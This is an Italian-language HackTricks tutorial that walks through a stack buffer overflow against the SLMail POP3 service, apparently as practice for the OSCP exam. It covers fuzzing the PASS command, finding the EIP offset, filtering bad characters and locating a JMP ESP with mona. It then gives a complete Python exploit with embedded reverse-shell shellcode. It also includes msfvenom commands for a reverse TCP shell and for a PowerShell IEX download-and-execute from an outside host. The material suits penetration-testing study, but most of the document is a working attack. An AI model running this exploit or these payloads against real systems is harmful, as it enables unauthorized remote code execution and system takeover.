Windows Exploiting (Basic Guide - OSCP lvl)

Impara l'hacking su AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Inizia installando il servizio SLMail

Riavvia il servizio SLMail

Ogni volta che hai bisogno di riavviare il servizio SLMail puoi farlo utilizzando la console di Windows:

net start slmail

Modello di exploit python molto basilare

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110

buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port

Cambia il carattere di Immunity Debugger

Vai su Opzioni >> Aspetto >> Caratteri >> Cambia (Consolas, Grassetto, 9) >> OK

Attacca il processo a Immunity Debugger:

File --> Attacca

E premi il pulsante START

Invia l exploit e controlla se l'EIP è stato influenzato:

Ogni volta che interrompi il servizio, dovresti riavviarlo come indicato all'inizio di questa pagina.

Crea un modello per modificare l'EIP

Il modello dovrebbe essere grande quanto il buffer che hai usato per interrompere il servizio in precedenza.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

Modifica il buffer dell'exploit e imposta il pattern e avvia l'exploit.

Dovrebbe comparire un nuovo crash, ma con un diverso indirizzo EIP:

Verifica se l'indirizzo era nel tuo pattern:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438

Sembra che possiamo modificare l'EIP nell'offset 2606 del buffer.

Controlla modificando il buffer dell'exploit:

buffer = 'A'*2606 + 'BBBB' + 'CCCC'

Con questo buffer il crash di EIP dovrebbe puntare a 42424242 ("BBBB")

Sembra che funzioni.

Controlla lo spazio per lo shellcode all'interno dello stack

600B dovrebbero essere sufficienti per qualsiasi shellcode potente.

Modifichiamo il buffer:

buffer = 'A'*2606 + 'BBBB' + 'C'*600

Lancia il nuovo exploit e controlla l'EBP e la lunghezza dello shellcode utile

Puoi vedere che quando viene raggiunta la vulnerabilità, l'EBP punta allo shellcode e che abbiamo molto spazio per posizionare uno shellcode qui.

In questo caso abbiamo da 0x0209A128 a 0x0209A2D6 = 430B. Abbastanza.

Verifica dei caratteri non validi

Cambia nuovamente il buffer:

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars

I badchars iniziano da 0x01 perché 0x00 è quasi sempre dannoso.

Esegui ripetutamente l'exploit con questo nuovo buffer eliminando i caratteri che si sono rivelati inutili:.

Ad esempio:

In questo caso puoi vedere che non dovresti usare il carattere 0x0A (nulla viene salvato in memoria poiché il carattere 0x09).

In questo caso puoi vedere che il carattere 0x0D viene evitato:

Trova un JMP ESP come indirizzo di ritorno

Utilizzando:

!mona modules    #Get protections, look for all false except last one (Dll of SO)

Devi elencare le mappe di memoria. Cerca una DLL che abbia:

  • Rebase: False

  • SafeSEH: False

  • ASLR: False

  • NXCompat: False

  • OS Dll: True

Ora, all'interno di questa memoria dovresti trovare alcuni byte JMP ESP, per farlo esegui:

!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case

Quindi, se viene trovato un indirizzo, scegliere uno che non contenga alcun badchar:

In questo caso, ad esempio: _0x5f4a358f_

Creare shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'

Se l'exploit non funziona ma dovrebbe (puoi vedere con ImDebg che il codice shell viene raggiunto), prova a creare altri codici shell (msfvenom con crea diversi codici shell per gli stessi parametri).

Aggiungi alcuni NOPS all'inizio del codice shell e usalo insieme all'indirizzo di ritorno per fare un JMP ESP, e completa l'exploit:

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110

shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)

buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port

Ci sono shellcode che si sovrascrivono, quindi è importante aggiungere sempre alcuni NOP prima dello shellcode

Migliorare lo shellcode

Aggiungi questi parametri:

EXITFUNC=thread -e x86/shikata_ga_nai
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Last updated